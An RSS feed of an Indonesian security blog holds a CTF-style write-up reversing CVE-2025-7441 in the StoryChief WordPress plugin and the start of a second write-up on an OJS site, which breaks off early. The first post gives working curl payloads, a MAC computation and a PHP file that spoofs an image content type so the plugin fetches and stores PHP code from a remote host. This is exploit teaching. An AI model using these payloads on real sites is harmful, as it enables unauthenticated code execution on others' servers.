<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>pentesting Arsip - Bhineka blog</title>
	<atom:link href="https://blog.bhineka-tech.org/category/pentesting/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.bhineka-tech.org/category/pentesting/</link>
	<description></description>
	<lastBuildDate>Fri, 29 Aug 2025 17:27:39 +0000</lastBuildDate>
	<language>id</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.2</generator>

<image>
	<url>https://blog.bhineka-tech.org/wp-content/uploads/2024/10/logo-bintek-min.jpg</url>
	<title>pentesting Arsip - Bhineka blog</title>
	<link>https://blog.bhineka-tech.org/category/pentesting/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>WordPress CVE reversing</title>
		<link>https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/</link>
					<comments>https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Sat, 23 Aug 2025 10:14:01 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[web exploitation]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=587</guid>

					<description><![CDATA[<p>Langsung saja, jadi disini aku bakal memberikan write up dan solusi terkait challenge yang aku share dengan judul CVE reversing pada plugin wordpress StoryChief. pada challenge ini, kita diharuskan untuk crafting PoC atau exploit dari refrensi dan deskripsi singkat pada CVE-2025-7441. Karena CVE ini tergolong masih baru jadi tidak ada satupun source yang mempublikasikan PoC [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/">WordPress CVE reversing</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Langsung saja, jadi disini aku bakal memberikan write up dan solusi terkait challenge yang aku share dengan judul CVE reversing pada plugin wordpress StoryChief. </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-97e86da769475e9baa7b7a29aa42309b"><code>*CVE Reversing Challenge*
host: http://143.198.193.102/
Level: Up to you!!

Task ? 
Baru baru ini sekitar 5 hari lalu, wordfence mempublikasikan suatu CVE pada plugin wordpress _storychief_ yang dimana kerentanan pada CVE ini berada pada score 9.8 atau sangat critical karena attacker bisa melakukan arbitrary file write/upload dengan status unauthenticated yang dapat mengarah ke RCE. Tugas kalian yaitu membuat suatu script PoC sendiri dengan melakukan research, diffing dan reversing pada source code di plugin ini. Jangan buang buang waktu untuk mencari script exploit/PoC di internet karena tidak ada satupun sumber yang mempublikasikan PoC pada CVE ini, karena tergolong masih baru. 

Biar tambah semangat, untuk yang solve first blood akan mendapat hadiah 100K dan semoga berhasill.

solve? untuk flag ada di directory /root tapi jika kalian berhasil mendapat akses www-data saja sudah cukup, yang terpenting hasil dari PoC exploitnya bukan pada flagnya

reference CVE-2025-7441 :
https:&#47;&#47;www.wordfence.com/threat-intel/vulnerabilities/id/979efaa4-10f1-4c7f-b4b0-5a41678c9d66?source=cve

#HappyHacking</code></pre>



<p>pada challenge ini, kita diharuskan untuk crafting PoC atau exploit dari refrensi dan deskripsi singkat pada CVE-2025-7441. Karena CVE ini tergolong masih baru jadi tidak ada satupun source yang mempublikasikan PoC atau exploitnya di internet. Cara satu satunya dengan melakukan research dan mencoba untuk menemukan secara mandiri.</p>



<p>Sebelum itu penting sekali untuk mengerti syntax dasar dan terbiasa menggunakan PHP dan juga sedikit perlu paham terkait struktur dari CMS wordpress. Mari kita lihat deskripsi dari CVE-nya</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-fd012679cc49191c9f7a579a53fe233f"><code>The StoryChief plugin for WordPress is vulnerable to arbitrary file uploads in all versions up to, and including, 1.0.42. This vulnerability occurs through the /wp-json/storychief/webhook REST-API endpoint that does not have sufficient filetype validation. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.</code></pre>



<p>Intinya dikatakan jika plugin StoryChief pada versi dan sebelum 1.0.42 terdapat vulnerabiilty yang dimana attacker bisa melakukan arbitrary file upload melalui /wp-json/storychief/webhook, dan ngerinya lagi bug ini bisa dipicu tanpa login terlebih dahulu atau unauthenticated, nah maka dari sini kenapa CVSS score pada vulnerability ini sangat critical yaitu 9.8.</p>



<p>CVE reversing itu merupakan suatu upaya atau proses untuk membuat Proof-Of-Concept dari suatu kerentanan yang sudah diketahui(CVE) atau bisa kita sebut juga sebagai 1-day, secara umum caranya yaitu dengan melakukan patch diff(perbandingan) source code dari versi rentan dan yang sudah diperbaiki untuk melihat kerentanan yang dapat dimanfaatkan.</p>



<p>Tapi beruntungnya, tidak seperti pada vendor atau product perusahaan besar yang close source, pada wordpress sendiri melakukan CVE reversing ini masih tergolong mudah karena source code dipublikasikan ya setidaknya kita tidak perlu effort melakukan reverse engineering dan memahami di sisi low levelnya. Karena untuk melakukan patch diff pada wordpress kita bisa langsung mengunjungi <a href="https://plugins.trac.wordpress.org/ ">https://plugins.trac.wordpress.org/ </a> dan melihat perbandingan kode antar versi </p>



<p>Pada CVE ini, wordfence juga menyediakan refrensi diffing dan hal ini sangat berguna untuk kita identifikasi dan melakukan source code review</p>



<p><a href="https://plugins.trac.wordpress.org/changeset/3344874">https://plugins.trac.wordpress.org/changeset/3344874</a></p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="547" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1024x547.png" alt="" class="wp-image-588" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1024x547.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-300x160.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-768x410.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image.png 1379w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini terlihat beberapa file yang diubah pada versi baru, atau dalam hal ini developer melakukan patching dari kerentanan pada CVE tersebut.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="602" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-1024x602.png" alt="" class="wp-image-590" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-1024x602.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-300x176.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-768x452.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-1536x904.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1.png 1586w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Pada file <a href="https://plugins.trac.wordpress.org/changeset/3344874/story-chief/tags/1.0.43/includes/class.imageuploader.php">class.imageuploader.php</a>&nbsp;terdapat banyak perubahan, disini kita bisa melihat jika block merah artinya code yang dihapus dan block hijau yaitu code yang ditambahkan. pada file ini juga terdapat instansiasi CURL yang dalam hal ini kita mendapat gambaran sekilas bagaimana kerentanan terjadi.</p>



<p>Mari kita lihat source codenya secara utuh pada <a href="https://github.com/Story-Chief/wordpress/releases">https://github.com/Story-Chief/wordpress/releases</a> yang pada github ini merupakan versi 1.0.41 sedangkan patching dilakukan pada v1.0.43 jadi pada github ini masih tergolong versi rentan yang belum di patch</p>



<p>Seperti pada deskripsi yang mengatakan jika kerentanan dipicu melalui endpoint <em>/wp-json/storychief/webhook</em> jadi kata kunci penting disini ada pada webhook, yang pada plugin StoryChief juga terdapat file dengan nama <strong><em>webhook.php</em></strong></p>



<p>Disini kita bisa mulai melakukan source code review, tapi sebelum itu kita perlu tau konsep saat melakukan source code review dan tidak melakukan asal asalan. Bahkan owasp sendiri juga mempublikasikan standar guide untuk ini yaitu SAST(Static Analysis Security Testing) <a href="https://owasp.org/www-project-code-review-guide/assets/OWASP_Code_Review_Guide_v2.pdf">https://owasp.org/www-project-code-review-guide/assets/OWASP_Code_Review_Guide_v2.pdf</a> yang berisi panduan bagaimana best practice saat melakukan source code review. Agar lebih singkat, yang perlu kita pahami saat melakukan source code review yaitu &#8220;source&#8221; dan &#8220;sinks&#8221;, source merupakan dimana code yang kemungkinan terjadi kerentanan dan sinks yaitu tempat kerentanan sebenarnya terjadi.  </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="747" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4-1024x747.png" alt="" class="wp-image-593" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4-1024x747.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4-300x219.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4-768x561.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4.png 1048w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>yang pada webhook.php disini kita menemukan input yang bisa kita kontrol yaitu fungsi register_routes() yang dimana pada array &#8220;callback&#8221; memanggil fungsi handle() dan pada fungsi handle() juga terdapat json_decode() yang melakukan decode pada inputan POST kita, pada blok kode ini bisa kita katakan &#8220;source&#8221; atau sumber terjadinya kerentanan, dan untuk &#8220;sinks&#8221; kita akan mencoba identifikasi lebih lanjut </p>



<p>fungsi upload pada PHP dan wordpress sendiri kita bisa klasifikasikan sebagai berikut :</p>



<ul class="wp-block-list">
<li>potensi fungsi upload PHP 
<ul class="wp-block-list">
<li><a href="https://www.php.net/manual/en/function.move-uploaded-file.php" target="_blank" rel="noreferrer noopener"><code>move_uploaded_file</code></a></li>



<li><a href="https://www.php.net/manual/en/function.file-put-contents" target="_blank" rel="noreferrer noopener"><code>file_put_contents</code></a></li>



<li><a href="https://www.php.net/manual/en/function.fwrite" target="_blank" rel="noreferrer noopener"><code>fwrite</code></a></li>



<li><a href="https://www.php.net/manual/en/function.fputs.php" target="_blank" rel="noreferrer noopener"><code>fputs</code></a></li>



<li><a href="https://www.php.net/manual/en/function.copy.php" target="_blank" rel="noreferrer noopener"><code>copy</code></a></li>



<li><a href="https://www.php.net/manual/en/function.fputcsv.php" target="_blank" rel="noreferrer noopener"><code>fputcsv</code></a></li>



<li><a href="https://www.php.net/manual/en/function.rename.php" target="_blank" rel="noreferrer noopener"><code>rename</code></a></li>
</ul>
</li>



<li>potensi fungsi upload WordPress 
<ul class="wp-block-list">
<li><a href="https://developer.wordpress.org/reference/classes/wp_filesystem_direct/put_contents/" target="_blank" rel="noreferrer noopener"><code>WP_Filesystem_Direct::put_contents</code></a></li>



<li><a href="https://developer.wordpress.org/reference/classes/wp_filesystem_direct/move/" target="_blank" rel="noreferrer noopener"><code>WP_Filesystem_Direct::move</code></a></li>



<li><a href="https://developer.wordpress.org/reference/classes/wp_filesystem_direct/copy/" target="_blank" rel="noreferrer noopener"><code>WP_Filesystem_Direct::copy</code></a></li>
</ul>
</li>
</ul>



<p>Jika mengacu pada kerentanan Arbitrary File Upload, pasti salah satu fungsi diatas digunakan dan pada visual studio code kita bisa mencari pada fitur searching string</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="479" height="286" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-5.png" alt="" class="wp-image-594" style="width:764px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-5.png 479w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-5-300x179.png 300w" sizes="auto, (max-width: 479px) 100vw, 479px" /></figure>



<p>fungsi file_put_contents() dipanggil pada file class.imageuploader.php, persis seperti pada patch diff yang kita identifikasi sebelumnya</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="665" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6-1024x665.png" alt="" class="wp-image-595" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6-1024x665.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6-300x195.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6-768x499.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6.png 1109w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>fungsi save() disini yang memanggil file_put_contents dan juga terdapat suatu instansiasi CURL, dan asumsi awal sepertinya fungsi ini mendownload file dari URL external yang kemudian diletakkan pada directory /wp-content/uploads/ karena terdapat fungsi wp_upload_dir()</p>



<p>disini &#8220;Sinks&#8221; ditemukan pada fungsi save() yaitu fungsi file_put_contents(), nah jika kita sudah mengelompokkan seperti ini baru berfikir bagaimana dari &#8220;source&#8221; / inputan user berpindah ke &#8220;sinks&#8221; yang menjalankan fungsi file_put_contents().</p>



<p>Sekarang kita balik ke &#8220;source&#8221; dan mencoba untuk memahaminya</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="718" height="371" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-8.png" alt="" class="wp-image-597" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-8.png 718w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-8-300x155.png 300w" sizes="auto, (max-width: 718px) 100vw, 718px" /></figure>



<p>terdapat 2 validasi, pada payload json yang kita inputkan. validasi pertama yaitu <strong><em>\Storychief\Tools\validMac($payload)</em></strong> yang disini memanggil fungsi validMac pada file tools.php</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="784" height="193" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-10.png" alt="" class="wp-image-600" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-10.png 784w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-10-300x74.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-10-768x189.png 768w" sizes="auto, (max-width: 784px) 100vw, 784px" /></figure>



<p>Disini melakukan comparison atau perbandingan jika mac tidak sama pada payload maka gagal atau return false, jadi kira kira logic sederhananya seperti ini : </p>



<ol class="wp-block-list">
<li>kita input : payload=heker</li>



<li>maka gagal karena harus ada parameter mac</li>



<li>jadi harusnya gini: payload=heker&amp;mac=123</li>



<li>ini juga tidak valid karena mac tidak sama</li>



<li>tapi disana ada unset($payload[&#8216;meta&#8217;][&#8216;mac&#8217;]);</li>



<li>artinya mac diambil atau hasil payload=heker yang dihash sha256</li>



<li>jadi kita perlu hash sha256 pada &#8220;payload=heker&#8221; dan digunakan untuk mac</li>
</ol>



<p>Semoga bisa dipahami, jadi kita kecualikan untuk macnya dan lanjut susun payloadnya tanpa mac terlebih dulu.</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-82f6112c2707897ae94f96979b9a6192"><code>if (! isset($payload&#91;'meta']&#91;'event'])) {
        return new WP_Error('no_event_type', 'The event is not set', &#91;'status' =&gt; 400]);
    }

//code lain
... 
...

switch ($payload&#91;'meta']&#91;'event']) {
        case 'publish':
            $response = handlePublish($payload);
            break;
        case 'update':
            $response = handleUpdate($payload);
            break;
        case 'delete':
            $response = handleDelete($payload);
            break;
        case 'test':
            $response = handleConnectionCheck($payload);
            break;
        default:
            $response = missingMethod();
            break;
    }</code></pre>



<p>validasi kedua ada <strong><em>$payload[&#8216;meta&#8217;][&#8216;event&#8217;]</em></strong> yang kemudian dilakukan switch case ya, yang jika kita isi <em><strong>$payload[&#8216;meta&#8217;][&#8216;event&#8217;]</strong></em> publish maka akan menuju ke fungsi <strong><em>handlePublish()</em></strong> dan kira kira seperti ini payloadnya </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-af10263faf96514c77ca86b97c0262d1"><code>curl -d '{"meta": {"event" : "publish"}}' http://143.198.193.102/wp-json/storychief/webhook</code></pre>



<p>Jadi kita disini asumsinya sudah menuju ke fungsi handlePublish</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="916" height="546" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-11.png" alt="" class="wp-image-601" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-11.png 916w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-11-300x179.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-11-768x458.png 768w" sizes="auto, (max-width: 916px) 100vw, 916px" /></figure>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="803" height="328" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-13.png" alt="" class="wp-image-603" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-13.png 803w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-13-300x123.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-13-768x314.png 768w" sizes="auto, (max-width: 803px) 100vw, 803px" /></figure>



<p>Diatas kita menemukan fungsi wordpress do_action yang memanggil fungsi callback <strong><em>storychief_save_featured_image_action</em></strong> yang jika kita search pada vscode, ditemukan pada file <em><strong>mapping.php</strong></em></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="269" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14-1024x269.png" alt="" class="wp-image-604" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14-1024x269.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14-300x79.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14-768x202.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14.png 1296w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan yap, kita menemukan fungsi yang memanggil class ImageUploader dengan method save() dan fungsi ini yang digunakan untuk upload file, jadi sekarang kita sudah mengetahui data flow terjadinya kerentanan jadi mari kita rangkai payloadnya, dan kita sesuaikan dengan validasi pada variable <em><strong>$story[&#8216;featured_image&#8217;][&#8216;data&#8217;][&#8216;sizes&#8217;][&#8216;full&#8217;]</strong></em></p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-0790929f7b053f46063af2137c6e6e04"><code>{
  "meta": {
    "event": "publish"
  },
  "data": {
    "featured_image": {
      "data": {
        "sizes": {
          "full": "http://143.198.193.102:8000/cek.php"
        }
      }
    }
  }
}</code></pre>



<p>dan payloadnya akan seperti diatas, nah baru pada payload ini kita bisa meng-hasilkan hmac dengan melakukan encode dan hash ke sha256</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1009" height="560" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-16.png" alt="" class="wp-image-606" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-16.png 1009w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-16-300x167.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-16-768x426.png 768w" sizes="auto, (max-width: 1009px) 100vw, 1009px" /></figure>



<p>dan setelah hmac didapatkan sekarang kita perlu menghost php file pada vps atau hosting pribadi karena nama file yang disimpan diambil dari nama path external</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-149e1c647867074d3eb4bd53660fa411"><code> <em><strong>  public function getFilename()
    {
        $filename = basename($this-&gt;url);
        $this-&gt;filename = $filename;
        return $filename;
    }</strong></em></code></pre>



<p>Juga ada sedikit restriksi, dimana content-type yang diizinkan harus image</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-bd18cafd3b09e6e53dab370ef8dba859"><code>$image_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
 if (strpos($image_type, 'image') === false) {
      return false;
 }</code></pre>



<p>dan kita bisa membypass-nya dengan membuat file php seperti ini pada vps/hosting : </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-aa05a39e5ca2226dee30e7bab81c026a"><code>&lt;?php
header("Content-Type: image/jpeg");
echo "&lt;?php phpinfo(); ?&gt;";

?&gt;</code></pre>



<p>Yang dimana akan memforce atau memaksa header jika content-type diset ke image/jpeg meskipun raw datanya merupakan plain-text, dan untuk <strong><em>echo &#8220;&lt;?php phpinfo(); ?&gt;&#8221;;</em></strong> bisa disesuaikan lagi, karena disini hanya untuk tujuan demontrasi jadi cukup memanggil phpinfo() saja</p>



<p>Kasus disini aku memakai vps dan menjalankan php webserver </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="184" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-1024x184.png" alt="" class="wp-image-605" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-1024x184.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-300x54.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-768x138.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-1280x231.png 1280w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15.png 1288w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terakhir payload final dan exploit akan menjadi seperti ini </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-2a8588ab4d6978bd507e695e213acdc3"><code>curl -d '{"meta": {"mac":"2ddae0879f0bdf1d1d4c86713da237d82a028482aeab7a7f3d84e1e8a3d7748d", "event" : "publish"}, "data" : {"featured_image" : {"data" : {"sizes" : {"full": "http://143.198.193.102:8000/cek.php"}}}}}' http://143.198
.193.102/wp-json/storychief/webhook</code></pre>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="99" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-1024x99.png" alt="" class="wp-image-607" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-1024x99.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-300x29.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-768x75.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-1536x149.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17.png 1688w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>dan untuk melihat hasil uploadnya, kita bisa mengacu pada fungsi ini di file class.imageuploader.php</p>



<pre class="wp-block-code"><code>wp_upload_dir(date('Y/m', $this-&gt;post-&gt;post_date ? strtotime($this-&gt;post-&gt;post_date) : time()));</code></pre>



<p>yang disini memanggil date dengan parameter pertama &#8216;Y/m&#8217; artinya tahun/bulan, jadi jika sekarang tahun 2025 dan bulan 08 maka akan menjadi <strong><em>/wp-content/uploads/2025/08/cek.php</em></strong></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="517" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-1024x517.png" alt="" class="wp-image-608" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-1024x517.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-300x152.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-768x388.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-1536x776.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18.png 1756w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan exploit berhasil, untuk PoC automation lengkapnya yang ku publish di exploit-db bisa langsung kunjungi link berikut <a href="https://www.exploit-db.com/exploits/52422">https://www.exploit-db.com/exploits/52422</a> . jadi mungkin sekian itu saja dan semoga bermanfaat.</p>



<p><em><strong>“Ilmu itu cahaya, dan belajar adalah menyalakan lentera dalam kegelapan.”</strong></em> – <strong>Imam Al-Ghazali</strong></p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/">WordPress CVE reversing</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>WriteUp Hacking Challenge &#8211; Bhineka Tech</title>
		<link>https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/</link>
					<comments>https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Tue, 29 Jul 2025 05:55:07 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[web exploitation]]></category>
		<category><![CDATA[web pentesting]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=557</guid>

					<description><![CDATA[<p>Ya sekian beberapa hari ini akhirnya ada waktu untuk membuat artikel jadi disini aku akan memberikan detail bagaimana menyelesaikan challenge yang sebelumnya aku share pada group Bhineka Tech, dengan deskripsi sebagai berikut Jadi kita diminta untuk mendapatkan flag user dan root yang berada pada directory yang sudah ditentukan diantaranya yaitu /root dan /var/www/html, nah uniknya [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/">WriteUp Hacking Challenge &#8211; Bhineka Tech</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Ya sekian beberapa hari ini akhirnya ada waktu untuk membuat artikel jadi disini aku akan memberikan detail bagaimana menyelesaikan challenge yang sebelumnya aku share pada group Bhineka Tech, dengan deskripsi sebagai berikut</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-25dbc8fd7bd55d167cb2c9a937337ec3"><code>Pentesting &amp; Hacking Challenge

host: http://157.230.255.81/

Description:
Rafli seorang freelance web developer mendapatkan client di salah satu universitas swasta yang dimana client tersebut meminta untuk dibuatkan website publikasi jurnal ilmiah, dengan deadline 2 minggu. Rafli pun bersedia, dan kurang dari waktu yang ditentukan, Rafli menyelesaikan websitenya dan langsung dilakukan deployment oleh pihak kampus. Selang beberapa minggu terdapat anomaly log dan ditemukan file berupa sitemap.xml, google1337.html pada document_root yang terindikasi digunakan untuk blackhat seo perjudian.

Task:
Sebagai seorang security engineer, bantu Rafli mengidentifikasi kerentanan pada aplikasi yang dibuatnya dan lakukan evaluasi sampai sejauh mana attacker mendapatkan akses pada server.

Format flag: bhitech{}
Level: Medium / up to you

Note: ada 2 flag, yaitu user dan root. root flag berada pada directory /root sedangkan user flag berada pada /var/www/html dan server direset tiap 1 jam 30 menit sekali 

Clue ? Kubernetes breakout</code></pre>



<p>Jadi kita diminta untuk mendapatkan flag user dan root yang berada pada directory yang sudah ditentukan diantaranya yaitu /root dan /var/www/html, nah uniknya pada deskripsi juga terdapat tambahan clue yakni Kubernetes Breakout, dan sepertinya terkait dengan misconfiguration dan escape pada pods di kubernetes jadi mari kita bedah lebih lanjut</p>



<p>Jika dibuka via browser, disuguhkan website yang menggunakan CMS OJS(Open Journal System)</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="534" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-1024x534.png" alt="" class="wp-image-558" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-1024x534.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-300x156.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-768x400.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-1536x800.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image.png 1894w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>OJS ini merupakan suatu platform / CMS untuk publikasi jurnal ilmiah dan CMS ini open source, namun pada OJS sendiri sudah lama terdapat banyak security issue yang beredar mulai dari versi 2.x.x hingga 3.x.x dan banyak dimanfaatkan oleh script kiddies maupun hacker pemula untuk melakukan akses ilegal karena kemudahan exploitnya </p>



<p>Contohnya seperti di github issue ini <a href="https://github.com/pkp/pkp-lib/issues/7786 ">https://github.com/pkp/pkp-lib/issues/7786 </a>lalu di cxsecurity mengenai PoC-nya <a href="https://cxsecurity.com/issue/WLB-2021100133">https://cxsecurity.com/issue/WLB-2021100133</a> dan juga ada artikel yang menyebutkan jika OJS ini mengidap suatu zeroday <a href="https://openjournaltheme.com/urgent-critical-vulnerabilities-in-3-3-0-18-upgrade-your-ojs-now/">https://openjournaltheme.com/urgent-critical-vulnerabilities-in-3-3-0-18-upgrade-your-ojs-now/</a></p>



<p>Jika kita inspect element dan membuka tab network, akan banyak file yang diload dan terdapat indikasi versi OJS yang dipakai </p>



